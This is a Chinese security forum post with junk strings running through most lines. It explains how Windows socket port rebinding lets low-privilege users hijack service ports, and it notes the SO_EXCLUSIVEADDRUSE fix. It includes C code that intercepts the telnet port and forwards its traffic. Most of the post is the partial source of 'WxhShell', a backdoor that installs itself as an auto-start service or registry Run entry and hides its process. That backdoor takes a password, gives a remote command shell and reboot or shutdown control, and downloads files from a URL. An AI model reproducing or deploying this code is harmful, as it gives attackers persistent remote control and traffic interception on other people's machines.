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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,!7\?=G6}v  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fv+t%,++:  
xN CU5  
  saddr.sin_family = AF_INET; uZhY)o*]@  
cf`g.9pjlx  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _ISaO C{2-  
R+b~m!5 8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5R}K8"d  
OLs<]0H  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 v-ZTl4j$  
-J' 0qN!  
  这意味着什么?意味着可以进行如下的攻击: Zc|V7 +Yx  
Y7_2pGvZ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Z;M th#  
c]]e(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r~q 3nIe/,  
$LOwuvu>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 AJ"a  
%ZbdWHO#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,:=g}i  
*-\qO.4\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3$f+3/l  
$rV4JROb  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 pr?k~Bn  
>_'0 s  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $/#F9>eZ  
rm?C_  
  #include UVlh7wjg  
  #include %yPjPUHy  
  #include k;V (rf`  
  #include    )1, U~+JFU  
  DWORD WINAPI ClientThread(LPVOID lpParam);   WNo7`)Kx  
  int main() R8bKE(*rxj  
  { 0i3Z7l]  
  WORD wVersionRequested; Gr8%%]1!0  
  DWORD ret; ,`,1s 9\&t  
  WSADATA wsaData; NE5H\  
  BOOL val; Z66h  
  SOCKADDR_IN saddr; cyTBp58  
  SOCKADDR_IN scaddr; Xc8 XgZk  
  int err; p>9|JMk  
  SOCKET s; 20Z=_},  
  SOCKET sc; .NSV%I  
  int caddsize; G(;R+%pu  
  HANDLE mt; I#UL nSJ3  
  DWORD tid;   F_.1^XM  
  wVersionRequested = MAKEWORD( 2, 2 ); des.TSZ  
  err = WSAStartup( wVersionRequested, &wsaData ); 9!?Ywc>0#  
  if ( err != 0 ) { 7xh91EU:4  
  printf("error!WSAStartup failed!\n"); U%r|hn3  
  return -1; AkAQ%)6qV  
  } u2 t=*<X  
  saddr.sin_family = AF_INET; RaC8Sq7hW  
   *4OB 88$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @p%WFNR0  
w\lc;4U   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \N[2-;[3  
  saddr.sin_port = htons(23); >J) 9&?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Uu[dx}y  
  { \5P 5N]]  
  printf("error!socket failed!\n"); >UnLq:G  
  return -1; ]O&\Pn0q  
  } 3Pgld*i7  
  val = TRUE; ^y.|KA3[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !S#K6:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) L};P*{q2Z  
  { 3g87ir  
  printf("error!setsockopt failed!\n"); a[=;6!  
  return -1; }fZ~HqS2w  
  } P!u0_6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; utU ;M*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5Zuk`%O  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^GnR1.ux  
IC:>60A,]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) uNf97*~_  
  { e7r3o,!  
  ret=GetLastError(); 9c{T|+ ]  
  printf("error!bind failed!\n"); 5;@2SY7 ,  
  return -1; js;k,`  
  }  N<~LgH  
  listen(s,2); 6%Pvh- ~_  
  while(1) Hq aay  
  { Ij2T h]  
  caddsize = sizeof(scaddr); \ 0/m$V.  
  //接受连接请求 3?Fe( !@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -unQ 4G  
  if(sc!=INVALID_SOCKET)  %m##i  
  { $6]1T>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &mkL4 jXG  
  if(mt==NULL) ,wZq ~; 2  
  { 4ufT-&m};s  
  printf("Thread Creat Failed!\n"); *nB-] w/  
  break; "#P#;]\`  
  } tQE<'94A  
  } "2ZuI; w  
  CloseHandle(mt); L| ]fc9W:  
  } 2"EaF^?\  
  closesocket(s); zmFS]IOv$  
  WSACleanup(); nT9Hw~f<j  
  return 0; L KLLBrm:  
  }   A "/|h].  
  DWORD WINAPI ClientThread(LPVOID lpParam) C6A!JegU  
  { )Lg~2]'?j  
  SOCKET ss = (SOCKET)lpParam; C9 j{:&  
  SOCKET sc; 9L>73P{_  
  unsigned char buf[4096]; .UYhj8  
  SOCKADDR_IN saddr; =g|5VXW5  
  long num; !NMiWG4R  
  DWORD val; D< 0))r  
  DWORD ret; VV"w{#XKw  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Uf9L*Z'6il  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   '.]<lh!  
  saddr.sin_family = AF_INET; { g4`>^;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <6&Z5mpm$w  
  saddr.sin_port = htons(23); q;.LK8M  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 45H9pY w  
  { Y/T-2)D  
  printf("error!socket failed!\n"); @<koL  
  return -1; hE7rnn{  
  } S^iT &;,  
  val = 100; yCwe:58  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b+$E*}  
  { jB,VlL  
  ret = GetLastError(); _k#!^AJ}x  
  return -1; K"zRj L+  
  } gF:| j(  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qq"0X! w  
  { =1\mLI}@  
  ret = GetLastError(); 0|ekwTx.  
  return -1; fo~>y  
  } '4}8WYKQ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +1^L35\@  
  { "sT)<Wc  
  printf("error!socket connect failed!\n");  v> s,*  
  closesocket(sc); 4'"WD0  
  closesocket(ss); =R)w=ce  
  return -1; 8?ip,Q\  
  } wQ8<%qi"L  
  while(1) [-Xah]g  
  { Sa@T#%oU  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 I~4!8W-Y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?kS#g  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `A<2wd;  
  num = recv(ss,buf,4096,0); K{:[0oIHc  
  if(num>0) LTuT"}dT[  
  send(sc,buf,num,0); .yHi"ss3  
  else if(num==0) !6hV|2aJy  
  break; bX 6uGu 7  
  num = recv(sc,buf,4096,0); :i|Bz6Ht4  
  if(num>0) Qe_C^ (P  
  send(ss,buf,num,0); Hc-up.?v'v  
  else if(num==0) ^fE8|/]nG9  
  break; c]"w0a-`^@  
  } S0ltj8t  
  closesocket(ss); Jp= )L  
  closesocket(sc); -/Zy{2 <u  
  return 0 ; Y@7n>U  
  } #Z,@yJ2wl  
^$]iUb{\  
pG22Nx  
========================================================== RK p9[^/?  
n@6vCdk.  
下边附上一个代码,,WXhSHELL n2|@Hz_  
yCuLo`  
========================================================== >M0^R} v  
6}~k4;'}A  
#include "stdafx.h" Dl,sl>{  
y6Ez.$M  
#include <stdio.h> LW#U+bv]Dq  
#include <string.h> +S'm<}"1  
#include <windows.h> 8_pyfb  
#include <winsock2.h> nJ$2RN  
#include <winsvc.h> TpI8mDO\W  
#include <urlmon.h> FL4BdJ\  
Z<QNzJ D  
#pragma comment (lib, "Ws2_32.lib") pH(X;OC 9S  
#pragma comment (lib, "urlmon.lib") s p+'c;a  
Jp|eKZ  
#define MAX_USER   100 // 最大客户端连接数 %Y,Ru)5}  
#define BUF_SOCK   200 // sock buffer 8l'W[6  
#define KEY_BUFF   255 // 输入 buffer q>wO=qWx  
) I(9qt>Y  
#define REBOOT     0   // 重启 XA;f.u  
#define SHUTDOWN   1   // 关机 HU$]o N  
F'CJN$6Mw/  
#define DEF_PORT   5000 // 监听端口 uG/'9C6Z  
&[SFl{fx>-  
#define REG_LEN     16   // 注册表键长度 brG!TJ   
#define SVC_LEN     80   // NT服务名长度 KT+{-"4-  
0/1=2E ^,  
// 从dll定义API %gj7KF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ` TH\0/eE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .jiJgUa7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6:AEg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ikw.L  
cc>b#&s  
// wxhshell配置信息 "zkQu  
struct WSCFG { FHEP/T\5  
  int ws_port;         // 监听端口 EPR85[k  
  char ws_passstr[REG_LEN]; // 口令 apt$e$g  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1Oq VV?oz  
  char ws_regname[REG_LEN]; // 注册表键名 T8%!l40v  
  char ws_svcname[REG_LEN]; // 服务名 ><xmw=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dp&G([  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  <4< y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A&M(a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %nG>3.%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _+ Sf+ta  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o^Lq8u;i*  
E " >`  
}; oE6`]^^  
 \m+=|  
// default Wxhshell configuration +-9-%O.(;  
struct WSCFG wscfg={DEF_PORT, (h= ]Ox  
    "xuhuanlingzhe", pzaU'y#PM  
    1, Zu~w:uNmU  
    "Wxhshell", lw99{y3<<  
    "Wxhshell", fD3'Ye<R  
            "WxhShell Service", (:O6sTx-hE  
    "Wrsky Windows CmdShell Service", z]-m<#1  
    "Please Input Your Password: ", &328pOT4  
  1, "6U@e0ht  
  "http://www.wrsky.com/wxhshell.exe", <QC7HR  
  "Wxhshell.exe" lpS v  
    }; LI&E.(:  
+\;Ro18?  
// 消息定义模块 `& h-+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'Bxj(LaV-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )?7/fF)@|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; VH<d[Mj  
char *msg_ws_ext="\n\rExit."; WPAUY<6f  
char *msg_ws_end="\n\rQuit."; ;\6@s3  
char *msg_ws_boot="\n\rReboot..."; 60 cQ3.e  
char *msg_ws_poff="\n\rShutdown..."; 'o4`GkNh)  
char *msg_ws_down="\n\rSave to "; jT< I`K*  
JbJ!,86  
char *msg_ws_err="\n\rErr!"; "I:*  
char *msg_ws_ok="\n\rOK!"; ')~V=F  
[CfZE  
char ExeFile[MAX_PATH]; \8m9^Z7IfK  
int nUser = 0; *OdmKVw6G  
HANDLE handles[MAX_USER]; J\w4N",  
int OsIsNt; BfCnyL%  
Rm}5AJ  
SERVICE_STATUS       serviceStatus; WVhQ?2@}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4o;;'P   
r<Z.J/a  
// 函数声明 CTKw2`5u  
int Install(void); 'q_Z dw%  
int Uninstall(void); 0Zp5y@ V8  
int DownloadFile(char *sURL, SOCKET wsh); N*6~$zl&  
int Boot(int flag); & 0\:MJc  
void HideProc(void); ,c$tKj5ulQ  
int GetOsVer(void); 1 gcWw, /  
int Wxhshell(SOCKET wsl); &JKQH  
void TalkWithClient(void *cs); Yy 0" G  
int CmdShell(SOCKET sock); 1?^ P=^8   
int StartFromService(void); Ejr'Yzl3_  
int StartWxhshell(LPSTR lpCmdLine); /kK!xe  
Bq HqS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); | 4}Y:d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %4F\#" A  
iGz*4^ %  
// 数据结构和表定义 C4d'z(<  
SERVICE_TABLE_ENTRY DispatchTable[] = CLe{9-o  
{ @t1pB]O:  
{wscfg.ws_svcname, NTServiceMain}, :_:)S  
{NULL, NULL} }CMGK{  
}; Ii5U) "  
U1Fo #L  
// 自我安装 >i  >|]  
int Install(void) 9W]OtSG  
{ _yR_u+5  
  char svExeFile[MAX_PATH]; ^BRqsVw9  
  HKEY key; b=\chCRJJ  
  strcpy(svExeFile,ExeFile); E R~RBzp  
:[(%4se  
// 如果是win9x系统,修改注册表设为自启动 v0! 1W  
if(!OsIsNt) { 0A~UuH0.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w xte  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /5"T46jD  
  RegCloseKey(key); vY|YqWt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %,z;W-#gnY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4%8den,|  
  RegCloseKey(key); ?E+f<jol  
  return 0; u kZK*Y9P  
    } CadIu x^  
  } eD2eDxN2  
}  <)~-]  
else { U9^1 A*  
@R%qP>_  
// 如果是NT以上系统,安装为系统服务 IQtQf_"e1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {r;_nMfH|[  
if (schSCManager!=0) kRwUR34yc  
{ hDSf>X_*_G  
  SC_HANDLE schService = CreateService Cd=$XJ-b  
  ( 7}~w9jK"F  
  schSCManager, [ 't.x=  
  wscfg.ws_svcname, yhbU;qEG9  
  wscfg.ws_svcdisp, Jq(;BJ90R  
  SERVICE_ALL_ACCESS, 5Rs#{9YE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N[\J#x!U  
  SERVICE_AUTO_START, czu9a"M>X  
  SERVICE_ERROR_NORMAL, SpU|Q1Q/h  
  svExeFile, :Z2997@Y  
  NULL, @#N7M2/  
  NULL, PWx%~U.8~j  
  NULL, @MTv4eC}e  
  NULL, @~|;/OY>"  
  NULL X])iQyN  
  ); Nb !i_@m%s  
  if (schService!=0) U?{oxy_[2  
  { Wu|MNB?M  
  CloseServiceHandle(schService); X"q[rsB  
  CloseServiceHandle(schSCManager); /ILd|j(e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); eIF6f& F  
  strcat(svExeFile,wscfg.ws_svcname); >lQa"F=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D]*|Zmr+}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5VOw}{Pt  
  RegCloseKey(key); : -#w  
  return 0; uF}dEDB|;  
    } S ;rd0+J  
  } ! M CV@5$  
  CloseServiceHandle(schSCManager); ;ZAwf0~  
} :*|Ua%L_  
} 4TPdq&';C:  
Op]*wwI*h  
return 1; ,K\7y2/  
} BgT ^  
S#8)N`  
// 自我卸载 D QxuV1  
int Uninstall(void) 1Hr1Ir<KR  
{ 7 rRI-wZ  
  HKEY key; f"j9C% '*  
]*mUc`  
if(!OsIsNt) { Udtz zka  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ElB[k<  
  RegDeleteValue(key,wscfg.ws_regname); c"lwFr9x7  
  RegCloseKey(key); T"za|Fo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U_PH#e  
  RegDeleteValue(key,wscfg.ws_regname); i6n,N)%H  
  RegCloseKey(key); j|Vl\Z&o)  
  return 0; "h[)5V{  
  } 1`L.$T,1!  
} $"|r7n5[  
} 5m0lk|`  
else { K`9~#Zx$  
=_C&lc"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5j]!r  
if (schSCManager!=0) pQ0*)}l,  
{ yUo8-OaL7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2/V%jS[4#y  
  if (schService!=0) |T/OOIA=sI  
  { a5 ZXrWv  
  if(DeleteService(schService)!=0) { ?uL-qsU  
  CloseServiceHandle(schService); x X3I`  
  CloseServiceHandle(schSCManager); Q[NoFZ V!  
  return 0; ~>9G\/u j  
  } bK0(c1*a[e  
  CloseServiceHandle(schService); jR[c3EA ;  
  } &a=rJvnIO&  
  CloseServiceHandle(schSCManager); rYdNn0mh k  
} j][&o-Ev  
} XPMUhozV  
\C>IVz<O  
return 1; ;K8}Yq9p9  
} X=m^+%iD  
|3B<;/v5  
// 从指定url下载文件 7~Inxk;  
int DownloadFile(char *sURL, SOCKET wsh) W =Bw*o-  
{ l\V1c90m  
  HRESULT hr; 'R-\6;3E>9  
char seps[]= "/"; `~=z0I  
char *token; w{[^  
char *file; FqbGT(QB0  
char myURL[MAX_PATH]; )b]wpEFl  
char myFILE[MAX_PATH]; =,N"% }  
Ekq(  
strcpy(myURL,sURL); "k@[7 7  
  token=strtok(myURL,seps); Pi?G:IF  
  while(token!=NULL) zT&"rcT">  
  { e }C,)   
    file=token; *@#Gc%mGu  
  token=strtok(NULL,seps); N]iarYc  
  } Q) aZ0 Pt  
,|VLOY ^  
GetCurrentDirectory(MAX_PATH,myFILE); PH8 88O  
strcat(myFILE, "\\"); nZ'jjS[!  
strcat(myFILE, file); Nk\ni>Du3  
  send(wsh,myFILE,strlen(myFILE),0); \VOv&s;h  
send(wsh,"...",3,0); viYrPhH+z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YfT D  
  if(hr==S_OK) Z>y6[o  
return 0; C)yw b6  
else ZLKbF9lo  
return 1; >S}X)4  
hwe6@T.#  
} 7Rtjm  
6g#yzex  
// 系统电源模块 hV,T889'  
int Boot(int flag) 'JdK0w#  
{ rWNe&gFM  
  HANDLE hToken; L#a!fd  
  TOKEN_PRIVILEGES tkp; pl@K"PRE  
MLTS<pW/  
  if(OsIsNt) { tF/Ni*\^rV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #=y)Wuo=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ESoC7d&.K{  
    tkp.PrivilegeCount = 1; 'Y ,2CN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x5PM ]~"p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s92ol0`  
if(flag==REBOOT) {  9Ca0Tu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nTGf   
  return 0; F?a 63,r  
} "pK<d~Wu  
else { 2Uf/'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G/3T0d+-  
  return 0; /]J\/Z>  
} 9@"pR;X@  
  } kGnT4R*E  
  else { 1CZO+MB&"$  
if(flag==REBOOT) { d42Y `Wu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \/ri|fm6l#  
  return 0; DS%]7,g]  
} O[U`(A:  
else { @.k^ 8hc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M'R ] ''  
  return 0; ~QUNR?h  
} 4*f+np  
} > JA-G@3i  
|LLpG37_  
return 1; |dHtv6I  
} 9wf"5c  
ZZHQ?p-  
// win9x进程隐藏模块 v\G 7V  
void HideProc(void) !+Y+P?  
{ -"H$ &p~  
k&5T-\q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )n9,?F#l  
  if ( hKernel != NULL ) K fVsnL_  
  { NM:$Q<n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j7w9H/XF}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n;=FD;}j+  
    FreeLibrary(hKernel); B<.\^f uS  
  } R87@.  
abS~'r14  
return; q6E 'W" Q  
} ,:K{  
:'q$emtY  
// 获取操作系统版本 4/*@cW  
int GetOsVer(void) aYk: CYQ  
{ {*8G<&  
  OSVERSIONINFO winfo; =6\^F i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {=d}04i)E"  
  GetVersionEx(&winfo); 2auJp .  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lZIJ[.  
  return 1; :F[s  
  else '/loJz 1  
  return 0; 862rol  
} ]i,o+xBKH  
@C=gMn.E  
// 客户端句柄模块 &k_LK  
int Wxhshell(SOCKET wsl) 7KUf,0D  
{ v \; /P  
  SOCKET wsh; 3 .j/D^  
  struct sockaddr_in client; RRQv<x  
  DWORD myID; F}[!OYyg  
B9 ?58v&  
  while(nUser<MAX_USER) O.y ?q  
{ NB^Al/V@  
  int nSize=sizeof(client); DS@Yto  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); RTg\c[=w  
  if(wsh==INVALID_SOCKET) return 1; bxO/FrwTj{  
hCgk78O?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H*N{4zBB  
if(handles[nUser]==0) iC!6g|]X  
  closesocket(wsh); 'ks  .TS&  
else 6q`)%"4k  
  nUser++; 8n2;47 a  
  } <f.Eog  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {=J:  
}C[ "'tLX  
  return 0; EAWBgOO8iC  
} %}~(%@qB>+  
|9FrVO$M  
// 关闭 socket UNv!G/i-5  
void CloseIt(SOCKET wsh) /7+b.h])^  
{ =\5f_g2M  
closesocket(wsh); G[u6X_Q  
nUser--; tZg)VJQys  
ExitThread(0); y>h9:q|  
} p NQ7uy  
|Go$z3bx  
// 客户端请求句柄 aTH$+f1?Q  
void TalkWithClient(void *cs) !RwhVaSh  
{ y.8nzlkE{  
y#`;[!  
  SOCKET wsh=(SOCKET)cs; aEa+?6;D  
  char pwd[SVC_LEN]; \=|=(kt)  
  char cmd[KEY_BUFF]; };P=|t(r  
char chr[1]; rxy5Nrue  
int i,j; >P}XCAU  
<RC%<  
  while (nUser < MAX_USER) { rhaq!s38:  
P&[&Dj  
if(wscfg.ws_passstr) { )ryP K"V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w<]-~`K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1!U:M8T|  
  //ZeroMemory(pwd,KEY_BUFF); o F_{oV '  
      i=0; H)&iFq  
  while(i<SVC_LEN) { HSU?4=Q  
;iJxJX\+  
  // 设置超时 O/(vimx.#F  
  fd_set FdRead; &~B8~U4%  
  struct timeval TimeOut; ,(sE|B#s  
  FD_ZERO(&FdRead); e$Yvy>I'tS  
  FD_SET(wsh,&FdRead); /$\8?<Pc".  
  TimeOut.tv_sec=8; -,g.39u  
  TimeOut.tv_usec=0; ;0?OBUDO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N. nGez  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EASmB  
%`lJAW[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (=1zMZ o  
  pwd=chr[0]; =^{MyR7  
  if(chr[0]==0xd || chr[0]==0xa) { yQ<h>J>  
  pwd=0; 5X5UUdTM  
  break; HmU6:8V *Z  
  } ]Z=al`-  
  i++; 6 A#xFPYY{  
    } ug;\`.nT^  
tW-[.Y -M,  
  // 如果是非法用户,关闭 socket ;qWSfCt/^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3a ZS1]/  
} {t|#>UCK  
&U}8@;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Wy-y-wi:p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O%F*i2I:+k  
: vgn0 IQ  
while(1) { T VSCjI  
dmLx$8  
  ZeroMemory(cmd,KEY_BUFF); NNE(jJ`/  
4"!kCUB  
      // 自动支持客户端 telnet标准   yxf #@Je"  
  j=0; anfnqa8  
  while(j<KEY_BUFF) { >w.%KVBJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }?+tX<j  
  cmd[j]=chr[0]; Q%J,: J  
  if(chr[0]==0xa || chr[0]==0xd) { 9v3n4=gc  
  cmd[j]=0; vv^y V"0Y  
  break; 1 Qz@  
  } Lz:FR*  
  j++; ORWi+H|  
    } S0r+Y0J]<  
E m+&I  
  // 下载文件 .ns=jp  
  if(strstr(cmd,"http://")) { Bm%|WQK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +StsSZ  
  if(DownloadFile(cmd,wsh)) aU[!*n 4Ux  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l7@cov  
  else )vVf- zU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;<GxonIV  
  } 7-u'x[=m  
  else { 5tZ0zr  
m!P<# |V  
    switch(cmd[0]) { gm!sLZ!X  
  DVKb`KJ"  
  // 帮助 u$(ei2f  
  case '?': { `P*BW,P'T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r_ B.b K  
    break; EN}XIa>R  
  } A^LS^!Jz  
  // 安装 H~>8q~o]  
  case 'i': { 3#>%_@<  
    if(Install()) h%4UeL &F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yaWY>sB  
    else }Ya! [tX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z 5)v  
    break; }:;UnE}  
    } 4*5e0:O  
  // 卸载 3?L[ohKH?:  
  case 'r': { IXR'JZ?fH  
    if(Uninstall()) Fpeokr"i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yx:+Xy*N  
    else zDbO~.d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H=g%>W%3  
    break; `<| <1,  
    } |>m'szca4  
  // 显示 wxhshell 所在路径 6KXW]a `  
  case 'p': { c14d0x{  
    char svExeFile[MAX_PATH]; u GqeT#dP  
    strcpy(svExeFile,"\n\r"); /{R.   
      strcat(svExeFile,ExeFile); - _6`0  
        send(wsh,svExeFile,strlen(svExeFile),0); .9,x_\|G*  
    break; "bWx<  
    } lQvgq  
  // 重启 J2! Q09 }5  
  case 'b': { iXL^[/}&?M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j|N<6GSke  
    if(Boot(REBOOT)) a l6y=;\jZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [C<K~  
    else { M*Ej*#  
    closesocket(wsh); "+wkruC  
    ExitThread(0); _2{_W9k  
    } / #rH18  
    break; h{$k%YJ?  
    } 0( A  ?&  
  // 关机 T JZ~Rpq  
  case 'd': { ]*lZFP~  
